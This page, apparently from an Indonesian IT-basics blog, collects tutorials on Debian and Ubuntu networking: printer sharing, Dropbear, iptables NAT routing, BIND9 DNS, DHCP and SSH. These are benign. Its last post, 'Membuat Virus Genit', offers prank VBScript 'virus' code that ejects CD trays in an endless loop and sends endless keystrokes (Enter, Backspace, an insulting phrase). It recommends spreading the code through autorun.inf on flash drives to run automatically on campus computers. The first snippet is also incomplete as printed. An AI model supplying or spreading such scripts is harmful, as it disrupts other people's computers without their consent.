Tutup jendela terminal. Jalamkan konfigurasi printer melalui System-Administration-Printing...


Pada konfigurasi printer, pilih menu "Server" lalu klik menu "Settings"...


Atur Server Setting agar sesuai dengan contoh pada gambar dibawah ini...


Klik tombol "OK" untuk menyimpan pengaturan, tutup jendela konfigurasi printer lalu restart komputer Anda...

Dengan konfigurasi tersebut seharusnya semua printer telah di-sharing, namun seperti telah kami sampaikan sebelumnya, pada Ubuntu 10.04 versi server maupun desktop yang kami gunakan ternyata printer belum juga bisa dibagi pakai sebelum dilakukan restart service smbd.

Untuk mengatasi hal tersebut, kami telah memeriksa konfigurasi service smbd, ternyata service tersebut tidak dijalankan pada semua run level. Lalu kami atur agar service smbd dijalankan pada run level 2,3,4 dan 5...


Dengan cara inipun printer kami belum berhasil untuk di-share. Jika Anda mengalami hal yang sama, cara mengatasi masalah ini adalah dengan merestart service smbd. Namun apakah kita akan selalu melakukan restart service tersebut secara manual? tentu itu akan sangat merepotkan bukan?.

Agar kita tidak perlu lagi merestart service smbd secara manual maka kita perlu memasukkan perintah restart tersebut pada rc.local, bagai mana caranya? jalankanlah aplikasi terminal lalu ketik perintah berikut ini...

sudo gedit /etc/rc.local

...tekan enter, masukkan password jika diminta. Tambahkan perintah "service smbd restart" pada rc.local di baris akhir sebelum kode "exit 0", lihat gambar untuk lebih jelasnya...


Silahkan simpan perubahan, tutup gedit dan terminal lalu restart komputer Anda. Kini seharusnya semua printer pada Ubuntu telah berhasil di-share ke jaringan lokal Anda.

Mungkin ada diantara Anda yang memiliki cara atau pengalaman lain, silahkan share pengalaman Anda melalui komentar agar bermanfaat bagi mereka yang membutuhkan...

Selamat mencoba...
 

Sumber :
http://bojalinuxer.blogspot.com/2010/09/cara-sharing-printer-dengan-samba-pada.html

Cara Install Dropbear Di VPS Debian

Written By Unknown on Sabtu, 22 Maret 2014 | 08.58


Cara Install Dropbear Di VPS Debian

Jika sebelumnya Tutorial Install Dropbear Di VPS Centos 5 Dan 6
Sekarang kita mencoba install dropbear pada Debian
Langsung mulai saja Tutorial Install Dropbear Di VPS Debian
  1. Anda harus akses VPS via ROOT
  2. Buka terminal XTREM
  3. Ikuti langkah2 berikut
  4. Update dulu:
  5. apt-get update
  6. Install dropbear:
  7. apt-get install dropbear
  8. Install nano:
Jika sebelumnya sudah pernah install nano maka lewati saja langkah berikut:
apt-get install nano
Lanjut ke langkah selanjutnya
Edit config dropbear:
nano /etc/default/dropbear
Cari dan ubah:
NO_START=1
DROPBEAR_PORT=22
DROPBEAR_EXTRA_ARGS=
Menjadi:
NO_START=0
# DROPBEAR_PORT=22
DROPBEAR_EXTRA_ARGS="-p 443 -p 143 -p 109"
Tutorial Install Dropbear Di VPS Debian
Simpan dengan  CRTL+X - Y dan SAVE (ENTER)
Langkah Terakhir Restart Dropbearnya:
/etc/init.d/dropbear restart
Sudah selesai Tutorial Install Dropbear Di VPS Debian
Sekian dan terimakasih,semoga tutorial ini bermanfaat buat semuah
Kalau ada kritik,saran dan pertanyaan silahkan komentar.

Tutorial Konfigurasi Router Debian 6

Tutorial Konfigurasi Router Debian 6

Assalamualaikum Temennya Kang Ahmed :-) kali ini Kang Ahmed akan memberikan sedikit ilmu Tutorial Konfigurasi Router Debian 6. yang ane dapet dari blog temen ane hhee,,, :D, di postingan sebelumnya ane telah share tentang Konfigurasi IP Address Debian 6. dan sekarang silahkan membaca tutor konfigurasi router debian 6 !!!
Selamat membaca,,,,,, :D


Fungsi Router
Router berfungsi sebagai sebuah alat penghubung di antara rangkaian yang berlainan. Semasa paket dihantar, router akan menjalankan beberapa proses penting antaranya ialah: membuat terjemahan protokol, mengemaskini jadual haluan, mengirim paket, membungkus paket dan membuka bungkusan paket. Selain itu juga router berperanan untuk menapis trafik dengan membenarkan paket tertentu sahaja. Ini membolehkannya bertindak sebagai alat pelindung ringkas bagi rangkaian anda.

Berikut adalah beberapa kelebihan router:
1.    Menghubungkan dua atau lebih rangkaian untuk membentuk satu rangkaian
internetwork.
2.    Menghubungkan dua rangkaian yang berlainan protokol.
3.    Mengawal keselamatan rangkaian dengan membuat tapisan pada paket.



Untuk kali ini ane akan menuliskan bagaimana membuat router secara sederhana di Debian 6
Kita definisikan dahulu IP yang akan digunakan

IP untuk koneksi internet kita taruh di eth0
IP : 172.16.16.1/25
Gateway : 172.16.16.126
IP untuk local ditaruh di eth1
IP : 192.168.12.1/26

dari definisi diatas dikonfigurasikan kedalam sistem debian dengan langkah-langkah sebagai berikut:

1. Memasukkan IP di interfaces (eth) dengan perintah

#nano /etc/network/interfaces

kemudian edit filenya menjadi sebagai berikut:
# The primary network interface

auto eth0
iface eth0 inet static
address 172.16.16.1
netmask 255.255.255.128
network 172.16.16.0
broadcast 172.16.16.127
gateway 172.16.16.126
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 172.16.16.1
dns-search smkpelitasalatiga.com
auto eth1
iface eth1 inet static
address 192.168.12.1
netmask 255.255.255.192
network 192.168.12.0
broadcast 192.168.12.63
2. Kemudian kita edit file rc.local
(digunakan untuk melakukan routing walaupun di restart) dengan perintah

#nano /etc/rc.local

sebelum baris exit 0 ditambahkan

iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE

sehingga rc.local akan menjadi
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE
exit 0
Kemudian isi konfigurasi pada /etc/network/option
Isikan baris :
ip_forward = yes
spoofprotect = yes
syncookies = no

3. Aktifkan ip forward
dengan perintah
#nano /etc/sysctl.conf

cari kata #net.ipv4.ip_forward=1
kemudian hilangkan tanda #

4. Restart network
perintah
#/etc/init.d/networking restart

5. Setting DNS
perintah
# nano /etc/resolv.conf
tambahkan nameserver berikut :
nameserver 8.8.8.8
nameserver 8.8.4.4
Jika sudah restart PC Router dengan perintah reboot

Untuk mengecek konfigurasi Router kita coba melewati client dengan cara ping lewat CMD
Setting IP Client menjadi
ip address 192.168.12.2
netmask 255.255.255.192
gateway 192.168.12.1
Kemudian buka CMD dan ketikan :
1. ping 192.168.12.1 dan ping 172.16.16.126
Jika reply maka konfigurasi berhasil
2. ping google.com
jika reply maka konfigurasi berhasil

 Sumber !!!
Sampai disini dulu tutor "Tutorial Konfigurasi Router Debian 6" dari Kang Ahmed, semoga dapat membantu kalian yang sudah membaca tentunya, hhe...
Mohon maaf bila ada kata kata yang kurang enak di baca maupun di dengar.

Bila ada yang tidak di mengerti di tutor ini silahkan komen saja di tempat yang telah di sediakan, atau bisa langsung ke tanya ke ane, lewat email "kangahmed1@gmail.com" atau ke temen ane yang satu ini "facebook" bang faldy

Tutorial Konfigurasi DNS di Debian 6

Tutorial Konfigurasi DNS di Debian 6

Assalamualaikum Temennya Kang Ahmed :-) kali ini Kang Ahmed akan memberikan sedikit ilmu Bagaimana Konfigurasi DNS Server di Debian 6 . ini artikel ane dapet dari blog temen ane hhee,,, :D, di postingan sebelumnya ane telah share tentang Tutorial Konfigurasi DHCP di Debian 6 dan Tutorial Konfigurasi SSH di Debian 6.



Sedikit review untuk pengertian dari DNS .

DNS adalah singkatan dari Domain Name System, DNS itu adalah nama sebuah sistem database yang dibuat untuk memenuhi kebutuhan komputer, layanan atau sumber daya yang terhubung ke jaringan internet atau jaringan komputer pribadi.

Fungsi DNS adalah menerjemahkan nama domain (contoh: www.google.com) menjadi IP address (74.125.93.105), kita tentu lebih mudah mengingat nama domain suatu situs dibandingkan IP address-nya bukan ? nah itulah kegunaan DNS. Jadi ketika anda mengetikkan nama domain suatu situs di browser anda lalu menekan enter, browser anda akan mengecek apakah nama domain tersebut ada di cache DNS browser anda (pernah anda buka situsnya sebelumnya), jika tidak browser anda tersebut akan menghubungi name server (server tempat DNS berada) yang digunakan oleh koneksi internet anda untuk kemudian menerjemahkan nama domain situs tersebut menjadi IP address, kalau ketemu maka anda akan dibawa ke lokasi server tempat halaman situs tersebut berada.


Kita lanjut ke penginstallan DNS di Debian 6.0.5

1) apt-get install bind9
2) cd /etc/bind
3) nano named.conf.local
zone "ahmad.com" {
type master;
file "/etc/bind/db.ahmad";
};

zone "12.168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192";
};

ketik semua peritah diatas
kemudian save dengan CTRL+X lalu Y kemudian ENTER


4) cp db.local db.ahmad
5) cp db.127 db.192
6) nano db.ahmad
;
; BIND data file for local loopback interfaces
;
$TTL 604800
@ IN SOA server.ahmad.com. server.ahmad.com. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS server.ahmad.com.
@ IN A 192.168.12.2

server IN A 192.168.12.2


* Jangan ubah/hapus baris yang lain.
save dengan CTRL+X lalu Y kemudian ENTER

9) nano db.192
@ IN SOA server.ahmad.com. server.ahmad.com. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS server.ahmad.com
2 IN PTR server.ahmad.com

* Jangan ubah/hapus baris yang lain.
save dengan CTRL+X lalu Y kemudian ENTER

10) nano /etc/resolv.conf

nameserver 192.168.12.2
nameserver 8.8.8.8


save dengan CTRL+X lalu Y kemudian ENTER

11) /etc/init.d/bind9 restart

* Kalau failed atau error coba cek setting dari awal kemungkinan ada kesalahan
jika success berarti anda berhasil mengkonfigurasi DNS nya.

Cara mengeceknya dengan menggunakan perintah nslookup di CMD client dan sebelumnya DNS Primary client harus 192.168.12.2


Sumber

Sampai disini dulu tutor "Tutorial Konfigurasi DNS Server di Debian 6 " dari Kang Ahmed, semoga dapat membantu kalian yang sudah membaca tentunya, hhe...
Mohon maaf bila ada kata kata yang kurang enak di baca maupun di dengar.

Bila ada yang tidak di mengerti di tutor ini silahkan komen saja di tempat yang telah di sediakan, atau bisa langsung ke tanya ke ane, lewat email "kangahmed1@gmail.com" atau ke temen ane yang satu ini "facebook" bang faldy

Cara Remote Debian Menggunakan Putty

Cara Remote Debian Menggunakan Putty

Assalamualaikum Temennya Kang Ahmed :-) gimana kabarnya ??? udah lamanih ane engga update blog ini, tapi jangan sedih karena kali ini Kang Ahmed akan memberikan sedikit pengetahuan Cara menghubungkan putty ke debian.

 Apa itu Putty ? Putty adalah software remote console/ terminal yang digunakan untuk buat remote connection komputer melalui Port SSH atau sebagainya. tapi kali ini kita akan coba meremote os Debian, sesuai permintaan temen ane (Ali) yang kemarin2 ngrequest lewat komenan di salah satu artikel di blog ini.
udah cukup ya basa basinya :D, langsung aja kita ke TKP let's go !!!



1. Buka dulu os debian yang ada di virtual kalian. (yang pasti os virtual sama os aslinya
   udah terhubung).

2. Setelah di buka, jangan lupa login sebagai SU (Super User) / root.

3. Sekarang buka Puttynya, dan masukan IP Adress dan Portnya, di sini ip ane adalah
    192.168.10.10 dan portnya 69. biar lebih jelas lihat gambar di bawah ini.



4. Bila berhasil maka akan muncul tampilan seperti di bawah, dan masukan
    username/password debian kalian.



5. Taraaaaa sekarang kalian udah berhasil, meremote debian dengan putty.



Belum selesai agan-agan masih ada sedikit informasi mengenai "Port"nya, tadi kan ane pake port 69, sedangakan port defaultnya adalah 22.
Nah bagaimana cara kita mengubah portnya ???
 yang pertama kita buka debiannya, dan jangan lupa kita di posisi root.
lalu edit ssh dengan mengetikan :  nano /etc/ssh/sshd_config
setelah masuk menu editor lalu cari kata "Port" dan ganti angkanya sesuai kemauan kalian. lihat gambar berikut bila masih bingung :

  
Sudah jelaskan.
Sekarang kita restart sshnya dengan mengetikan : /etc/init.d/ssh restart
dan selamat kalian telah bisa mengubah portnya :D.
Sampai disini dulu tutor "Cara Remote Debian Menggunakan Putty" dari Kang Ahmed, semoga dapat membantu kalian yang sudah membaca tentunya, hhe...
Mohon maaf bila ada kata kata yang kurang enak di baca, serta kesalahan dalam mengetik (kurang hurufnya), hhe... maklum masih newbie jadi kita sama sama belajar aja :-D

Bila ada yang tidak di mengerti di tutor ini silahkan komen saja di tempat yang telah di sediakan, atau bisa langsung ke tanya ke ane, lewat email "kangahmed1@gmail.com"

Tutorial Konfigurasi DHCP di Debian 6

Tutorial Konfigurasi DHCP di Debian 6

Assalamualaikum Temennya Kang Ahmed :-) kali ini Kang Ahmed akan memberikan sedikit ilmu Konfigurasi SSH di Debian 6. yang ane dapet dari blog temen ane hhee,,, :D, di postingan sebelumnya ane telah share tentang Tutorial Konfigurasi SSH di Debian 6 dan Tutorial Konfigurasi Router Debian 6. kali ini ane akan memberikan Tutorial Konfigurasi DHCP di Debian 6, langsung saja lihat langkah-langkahnyah :


Sedikit pengertian tentang DHCP (Dynamic Host Configuration Protocol) digunakan untuk melayani request Ip Address dari client. Gunanya adalah, kita tidak perlu lagi repot-repot mengkonfigurasi Ip pada computer, sebut saja Zero Configuration. Client akan meminta Ip Address pada server, kemudian server akan memberikan alokasi ip yang tersisa.

Lanjut install DHCP di Router Debian 6.0.5
# apt-get install dhcp3-server

Setiap kali installasi dhcp server, akan muncul pesan failed. Hal ini dikarenakan, Ip Address kita tidak cocok dengan Ip Address pada file konfigurasi Default dhcp3-server. Biarkan saja, nanti akan normal sendiri.


Sekarang konfigurasi DHCP agar bisa digunakan oleh Client
# nano/etc/dhcp/dhcpd.conf

Beri tanda “#” pada semua baris. Kecuali baris script di bawah ini. Sesuaikan alokasi ip dengan topologi jaringan.
#. . .
# A slightly different configuration for an internal subnet.
subnet 192.168.12.0 netmask 255.255.255.192 {
range 192.168.12.10 192.168.12.20;
option domain-name-servers smkpelitasalatiga.com;
option domain-name "smkpelitasalatiga.com";
option routers 192.168.12.1;
option broadcast-address 192.168.12.31;
default-lease-time 600;
max-lease-time 7200;
}
#. . .
save dan exit dengan ctrl+x lalu y dan Enter

Jika terdapat 2 atau lebih interface nya ( LAN Card ) kita setting DHCP nya sesuai dengan Interface yang digunakan. Disini ane menggunakan eth1 sebagai DHCP nya .
# nano /etc/default/isc-dhcp-server
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACES="eth1"
Jika sudah kita exit dan save ctrl+x lalu y dan Enter

Setelah semua selesai kita restart DHCP nya dengan cara
# /etc/init.d/isc-dhcp-server restart

Kemudian test di client untuk mengkosongkan konfigurasi IP Addressnya agar diberi oleh Router Debiannya.

 Sumber !!!
 
Sampai disini dulu tutor "Tutorial Install DHCP di Debian 6" dari Kang Ahmed, semoga dapat membantu kalian yang sudah membaca tentunya, hhe...
Mohon maaf bila ada kata kata yang kurang enak di baca maupun di dengar.

Bila ada yang tidak di mengerti di tutor ini silahkan komen saja di tempat yang telah di sediakan, atau bisa langsung ke tanya ke ane, lewat email "kangahmed1@gmail.com" atau ke temen ane yang satu ini "facebook" bang faldy

Tutorial Konfigurasi SSH di Debian 6

Tutorial Konfigurasi SSH di Debian 6

Assalamualaikum Temennya Kang Ahmed :-) kali ini Kang Ahmed akan memberikan sedikit ilmu Konfigurasi SSH di Debian 6. yang ane dapet dari blog temen ane hhee,,, :D, di postingan sebelumnya ane telah share tentang Konfigurasi IP Address Debian 6 dan Tutorial Konfigurasi Router Debian 6. kembali ke topik semula, kali ini Kang Ahmed akan memberikan tutorial Konfigurasi SSH di Debian 6, langsung saja kita ke TKP ???




Install dengan perintah
# apt-get install ssh

Setelah aplikasi terinstall, layanan SSH Server sudah langsung bisa kita gunakan melalui port default 22. Jika ingin mengkonfigurasi SSH Server tersebut, edit file sshd_config yang merupakan file konfigurasi utama pada SSH Server. Dalam file tersebut, kita bisa merubah settingan default yang ada.
Misalnya merubah port default, ataupun menambah tampilan banner ssh agar menjadi lebih menarik.

Merubah Port Default SSH
Edit file sshd_config berikut, kemudian cari dan rubah satu baris konfigurasi script di bawah ini.
# nano /etc/ssh/sshd_config
# What ports, IPs and protocols we listen for
#Port 21 #port default ssh
Port 354 #port diganti ke 354


Modifikasi tampilan login SSH
Bosan dengan tampilan awal LogIn pada system Debian melalui SSH yang itu-itu aja?? Tenang, ane punya solusinya, Anda bisa melakukan sedikit konfigurasi untuk merubah tampilan banner SSH menjadi lebih menarik. Terlebih dahulu install aplikasi tambahan untuk membuat Banner default yang berupa Huruf menjadi bentuk Grafiti.

# apt-get install figlet
# figlet DebianServer ver.Squeeze > /etc/ssh/banner


Dan tambahkan script berikut pada file sshd_config.
# echo “banner /etc/ssh/banner” >> /etc/ssh/sshd_config


Setiap selesai mengkonfigurasi, restart service ssh agar semua konfigurasi dijalankan langsung.
# /etc/init.d/ssh restart

Setelah sudah dikonfigurasi dan di restart SSH nya . Kita test melalui client dengan menggunakan software Putty .
Anda bisa mendownload Putty disini Download Putty
Setelah didownload anda buka Putty lalu masukan IP Address Server/Router yang ingin diremote dan masuk Port nya sesuai dengan settingan SSH nya kemudian klik Open dan Login Username dan Password Server/Routernya.

Di postingan berikut ane akan bahas tentang DHCP dan DNS Server !!!

 Sumber !!!
Sampai disini dulu tutor "Tutorial Install SSH di Debian 6" dari Kang Ahmed, semoga dapat membantu kalian yang sudah membaca tentunya, hhe...
Mohon maaf bila ada kata kata yang kurang enak di baca maupun di dengar.

Bila ada yang tidak di mengerti di tutor ini silahkan komen saja di tempat yang telah di sediakan, atau bisa langsung ke tanya ke ane, lewat email "kangahmed1@gmail.com" atau ke temen ane yang satu ini "facebook" bang faldy

Membuat Virus Genit


Membuat Virus Genit



Kali ini saya akan membagi-bagikan sebuah keisengan brow.. ya keiseng-isengan tapi tenang aja gak begitu berbahaya ko' cuma sedikit bikin dag-dig-dug-der aja hahaaa.. Penasarankan apa..? yupz, sesuai dengan judulnya yaitu Membuat Virus Genit, saya akan membagi-bagikan ilmunya ni brow.. simak baik-baiknya sob..

Caranya: Buka notepad dan masukkan code berikut,


do if colCDROMs.Count &gt;= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop


Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti, hahahaaaaa...

Tapi jangan kawatir brow.. ni ane kasih solusinye.. cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.(Baikan brow ane ni...? heheee)

Nah mau script .vbs yang laen lagi..? ni ane kasih dah scriptnya lagi.. 


WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop


Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as. lebih kurang begini gambarnya 

 
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”


Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop
 
Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
Terus tekan backspace:

MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

Sumber :http://maubacabaewis.blogspot.com/2013/06/membuat-virus-genit.html


kalau sobat males atau ga tau cara copasnya. download ajah disini 
 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. Belajar Dasar-Dasar TKJ - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger